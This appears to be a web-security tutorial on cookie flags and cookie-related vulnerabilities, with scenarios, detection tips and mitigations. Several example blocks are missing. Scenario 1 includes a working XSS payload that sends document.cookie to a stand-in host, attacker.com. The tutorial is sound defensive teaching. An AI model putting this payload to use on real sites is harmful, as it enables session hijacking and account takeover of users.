Cookie Security
Cookies are small pieces of data stored on the client-side and sent with every request. Three critical vulnerabilities emerge when cookies aren't properly secured:
Real-World Attack Scenarios
Scenario 1: Missing HttpOnly Flag — XSS to Session Hijacking
An application sets a session cookie without the HttpOnly flag:
HTTP/1.1 200 OK
Set-Cookie: sessionid=abc123def456; Path=/; SecureThe cookie is missing HttpOnly, meaning JavaScript can access it.
The vulnerability: An attacker finds an XSS vulnerability in a comment field:
<div class="comment">
<p>Check out this awesome tool!</p>
<img src="x" onerror="fetch('http://attacker.com/steal?cookie=' + document.cookie)">
</div>When users view the comment, the XSS payload executes and sends their session cookie to the attacker:
GET /steal?cookie=sessionid=abc123def456 HTTP/1.1
Host: attacker.comThe attacker now has the victim's session cookie and can:
Log in as the victim
Access their account
Modify their profile
Perform actions on their behalf
Access sensitive data
Finding it: Check browser cookies in DevTools. Look for session cookies without HttpOnly flag. Test for XSS vulnerabilities and verify if cookies are accessible to JavaScript.
Exploit:
Scenario 2: Missing Secure Flag — HTTP Cookie Interception
An application sets a session cookie over HTTPS but without the Secure flag:
The cookie is missing Secure, meaning it can be transmitted over HTTP.
The vulnerability:
An attacker performs SSL stripping or user visits HTTP version of the site:
Even though HTTPS is configured, if the user visits HTTP, the browser sends the cookie unencrypted.
An attacker on the network (coffee shop WiFi, ISP, corporate network) captures the traffic:
The attacker uses the stolen cookie to hijack the session.
Attack scenarios:
User accidentally visits http:// instead of https://
Attacker performs SSL stripping (downgrades HTTPS to HTTP)
User clicks a link on a page that redirects to HTTP
Mixed-content requests trigger HTTP fallback
Finding it: Check cookies in browser DevTools. Look for Secure flag. Test if cookies are sent over HTTP. Try accessing HTTP version of HTTPS-only site.
Exploit:
Scenario 3: Plaintext Sensitive Data in Cookies
An application stores sensitive information directly in a cookie:
The cookie contains:
The attack vectors:
Browser storage: Visible in browser DevTools, developer inspecting their own cookies can see all stored data
JavaScript access: If HttpOnly is not set, any JavaScript can read the cookie
Network inspection: If Secure flag is not set, cookie travels unencrypted
Local machine access: Anyone with access to the machine can read cookies from disk
Memory dumps: Crash dumps or memory analysis can extract cookies
An attacker who obtains this cookie has:
Email address
Password hash (may be crackable)
API key (full API access)
Credit card information
Social security number
Finding it: Inspect cookies in DevTools. Base64 decode or JSON parse them. Check if they contain passwords, tokens, PII, or financial data. Test cookie contents after decoding.
Exploit:
Scenario 4: Sensitive Cookie Without Any Protection Flags
An application sets a password reset token in a cookie with no security flags:
The cookie is vulnerable to:
JavaScript theft (XSS):
Network interception (MITM):
CSRF attacks:
Physical access: User leaves machine unlocked, attacker accesses browser cookies directly.
The result:
Attacker can reset any user's password
Full account takeover
No audit trail of who performed the reset
Finding it: Inspect all cookies. Check for absence of security flags. Test if sensitive tokens are accessible to JavaScript. Try CSRF attacks using the token.
Scenario 5: Cookie Leakage in Logs and Monitoring
An application logs HTTP requests including cookies:
Logs now contain:
The attack:
Log aggregation systems (ELK, Splunk, CloudWatch) store all logs
If log system is compromised or accessible, all session cookies are exposed
Logs might be stored for years, multiplying the exposure window
Multiple users' cookies accumulate in logs
Attackers can harvest thousands of valid session tokens
Finding it: Check application logs for cookie data. Review what gets logged by default. Access log storage systems. Search logs for sensitive values.
Mitigation Strategies
Set all three critical flags on session cookies
Secure Flag: Ensures cookie only sent over HTTPS, preventing interception over HTTP.
HttpOnly Flag: Prevents JavaScript from accessing the cookie, mitigating XSS attacks.
SameSite Attribute: Controls when cookies are sent with cross-site requests, preventing CSRF:
Strict: Never send with cross-site requestsLax: Send with top-level navigations onlyNone: Send with all requests (requires Secure flag)
Never store sensitive data in cookies
Don't put passwords in cookies
Don't put API keys in cookies
Don't put PII in cookies
Don't put payment information in cookies
Store only session identifiers, not data
Encrypt sensitive cookie values If cookies must contain data, encrypt them:
Use secure defaults in framework
Validate cookie values server-side Don't trust client-supplied cookie data:
Implement cookie rotation
Generate new session cookies after login
Rotate cookies periodically
Invalidate old cookies on logout
Monitor and log cookie usage
Alert on suspicious cookie access
Don't log cookie values
Track cookie theft/abuse patterns
Use security headers
Last updated